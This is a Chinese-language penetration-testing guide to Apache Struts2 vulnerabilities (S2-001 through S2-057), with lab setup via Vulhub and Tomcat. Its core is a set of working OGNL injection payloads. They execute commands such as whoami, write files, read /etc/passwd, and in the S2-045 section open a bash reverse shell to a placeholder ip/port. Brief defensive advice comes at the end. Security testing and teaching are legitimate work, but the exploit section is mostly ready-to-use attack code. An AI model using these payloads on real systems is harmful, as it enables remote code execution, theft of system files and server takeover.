渗透测试--Struts2框架
字数 1472 2025-08-10 12:18:03
Struts2框架渗透测试全面指南
一、Struts2框架简介
Struts2是基于MVC设计模式的Web应用框架,作为控制器(Controller)建立模型与视图的数据交互。它是Struts的下一代产品,采用拦截器机制处理用户请求,使业务逻辑控制器能够与ServletAPI完全脱离。
关键特性:
- 广泛应用于阿里巴巴、京东等互联网企业及政府门户网站
- 采用OGNL表达式处理参数值
- 近年爆出多个高危漏洞
- 我国战略性资产中广泛使用
二、环境搭建方法
1. 基础环境准备
- 下载地址:
- Vulhub环境:https://github.com/vulhub/vulhub/tree/master/struts2
- Tomcat:https://archive.apache.org/dist/tomcat/
2. S2-001环境搭建示例
- 将war包放入Tomcat的webapps目录
- 重启Tomcat自动部署
- 访问地址:http://[IP]:8088/Tomcat-web
注意:Windows下启动Tomcat服务后需关闭进程,避免端口冲突。
三、Struts2漏洞详解与利用
1. S2-001漏洞
漏洞原理:用户提交表单数据验证失败时,后端使用OGNL表达式%{value}解析参数值并重新填充表单。
检测方法:
- 在密码框输入
%{1+1}(URL编码为%25%7B1%2B1%7D) - 返回结果应为2
命令执行Payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
2. S2-005漏洞
漏洞起源:源于S2-003,通过unicode编码(\u0023)或8进制(\43)绕过安全限制。
文件写入Payload:
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
3. S2-007漏洞
触发条件:当用户输入非整数导致类型验证失败时,服务器拼接用户输入并执行OGNL表达式。
检测方法:
- 输入
'+(1+1)+',返回结果应为11
命令执行Payload:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))
4. S2-012漏洞
触发条件:Action中Result使用重定向类型,并使用${param_name}作为重定向变量。
命令执行Payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
5. S2-045漏洞
漏洞原理:上传功能代码非正常处理用户输入,可通过恶意POST数据包执行系统命令。
检测方法:
修改Content-Type为:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',1+2+3+4)}.multipart/form-data
返回头中应有vulhub: 10
反弹Shell Payload:
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/port 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b
6. S2-057漏洞
触发条件:网站配置xml时namespace值未做安全过滤。
检测方法:
/struts2-showcase/$%7B1+2+3+4+5+6%7D/actionChain1.action
返回结果应为21
命令执行Payload:
/struts2-showcase/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action
四、渗透测试技巧总结
-
通用检测方法:
- 使用
${1+1}或%{1+1}等简单OGNL表达式测试 - 观察返回结果是否符合预期
- 使用
-
Payload构造要点:
- 确保
allowStaticMethodAccess设置为true - 清除被排除的包和类
- 设置正确的成员访问权限
- 根据操作系统选择适当的命令执行方式
- 确保
-
编码要求:
- 所有Payload必须进行URL编码
- 特殊字符如
#需使用%23代替
-
漏洞利用限制:
- 注意不同版本Struts2的受影响范围
- 某些漏洞需要特定配置才能触发
五、防御建议
- 及时升级到Struts2最新安全版本
- 禁用动态方法调用
- 严格过滤用户输入的OGNL表达式
- 生产环境关闭devMode模式
- 对上传功能实施严格的安全检查
通过全面掌握Struts2各种漏洞的检测和利用方法,渗透测试人员可以更有效地评估Web应用安全性,同时开发人员也能更好地防护相关风险。